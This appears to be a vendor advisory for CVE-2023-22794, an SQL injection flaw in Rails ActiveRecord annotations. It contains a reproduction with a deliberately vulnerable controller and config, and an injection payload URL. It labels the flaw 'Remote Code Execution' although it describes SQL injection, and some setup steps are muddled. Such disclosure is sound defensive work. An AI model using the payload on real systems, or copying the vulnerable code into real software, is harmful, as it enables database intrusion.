CVE-2023-22794

Remote Code Execution
Affects
Ruby on Rails Framework
<=6.0.6.0 <=6.1.7.0 <=7.0.4.0
in
Rails
No items found.
Exclamation circle icon
Patch Available
This Vulnerability has been fixed in the Never-Ending Support (NES) version offered by HeroDevs

Ruby on Rails (often called Rails) is a web application framework written in Ruby that emphasizes convention over configuration and the principle of "don't repeat yourself" (DRY). It provides developers with a structured and efficient way to build database-backed web applications through pre-built patterns for rapid development. 

With this vulnerability in the ActiveRecord library, malicious input related to annotations may not receive sufficient sanitization thereby allowing SQL to be executed.

Remote code execution flaws are among the Top 10 Open Web Application Security Project (OWASP) vulnerabilities. They are among the most potentially damaging of vulnerabilities because injected, remotely executed code:

  • can access internal application objects/methods
  • can often bypass security controls
  • may persist across sessions
  • can often pivot to gain OS-level access.

Details

Module Info

  • Product: Ruby on Rails Framework
  • Affected packages: activerecord
  • GitHub repository:
    https://github.com/rails/rails/tree/main/activerecord
  • Published package: The individual ActiveRecord library or the entire Rails Framework (which includes ActiveStorage).
  • Package manager: gem

Vulnerability Info

Although the sanitize_as_sql_comment() method was likely never intended to accept user input, it can and thus is vulnerable to this exploit. Carefully crafted input could bypass the sanitization it performs.

Malicious input could reach the method via the “annotate” query method, the “optimizer_hints” method or through the QueryLogs interface (which automatically adds annotations).

Addressing the Issue

Avoid passing user input to annotate() and avoid using QueryLogs configuration that can include user input.

Steps To Reproduce

1. Install a version of Rails that contains this vulnerability, such as 6.0.6.0:

gem install rails -v 6.0.6.0
rails _6.0.6.0_ new cve_test_app
cd cve_test_app
bundle install

2. Create a new Rails app with:

rails new cve22794_demo --skip-active-storage --skip-action-mailbox --skip-action-text
cd cve22794_demo

3. Set up the database:

rails db:create
rails db:migrate

4. Generate a simple Post model and seed the database:

rails generate model Post title:string content:text
rails db:migrate

5. Seed the database and run the seed:

# db/seeds.rb
Post.create(title: "First Post", content: "This is the first post.")
rails db:seed

6. Modify the configuration to be vulnerable:

config.active_record.query_log_tags = [
  {
    something: -> { params[:user_input] }
  }
]

7. Create a controller to exploit the vulnerability by generating a PostsController:

rails generate controller Posts

Add the following to app/controllers/posts_controller.rb:

class PostsController < ApplicationController
  def index
    user_input = params[:user_input] || "/* default */"

    # Exploiting annotate
    @posts_annotate = Post.where(id: 1).annotate("#{user_input}")

    # Exploiting optimizer_hints
    @posts_optimizer = Post.where(id: 1).optimizer_hints("#{user_input}")

    render plain: "Executed queries with user input."
  end
end

8. Define routes by editing config/routes.rb to route to the vulnerable controller:

Rails.application.routes.draw do
  get '/posts', to: 'posts#index'
end

9. Start the Rails server:

rails server

10. Exploit the vulnerability by opening your browser and navigating to:

http://localhost:3000/posts?user_input=*/UNION SELECT null, sqlite_version()--

This input is injected directly into SQL queries due to improper handling, demonstrating the vulnerability.

11. Observe Logs/Behavior by checking the Rails server logs or the database query logs to see if the injected SQL was executed.

QueryLogs Example

Below is an example of a vulnerable QueryLogs configuration (the default configuration is not vulnerable):

config.active_record.query_log_tags = [
  {
    something: -> { request.params[:user_input] }
  }
]

request.params[:user_input] allows untrusted data to influence SQL queries or query logs, potentially leading to SQL injection or log injection.

Safer code will use sanitization:

config.active_record.query_log_tags = [ 
  { 
    user_agent: -> { Rack::Utils.escape_html(request.user_agent) } 
  } 
]

Credits

Mitigation

Users of affected versions of Ruby on Rails should follow one of the following mitigations:

  • Upgrade to a corrected version.
  • Leverage a commercial support partner like HeroDevs for post-EOL security support.

Vulnerability Details
ID
CVE-2023-22794
PROJECT Affected
Ruby on Rails Framework
Versions Affected
<=6.0.6.0 <=6.1.7.0 <=7.0.4.0
Published date
February 9, 2023
≈ Fix date
February 9, 2023
Severity
High
Category
Remote Code Execution
Sign up for the latest vulnerability alerts fixed in
Ruby on Rails NES
Rss feed icon
Subscribe via RSS
or
Thanks for signing up for our Newsletter! We look forward to connecting with you.
Oops! Something went wrong while submitting the form.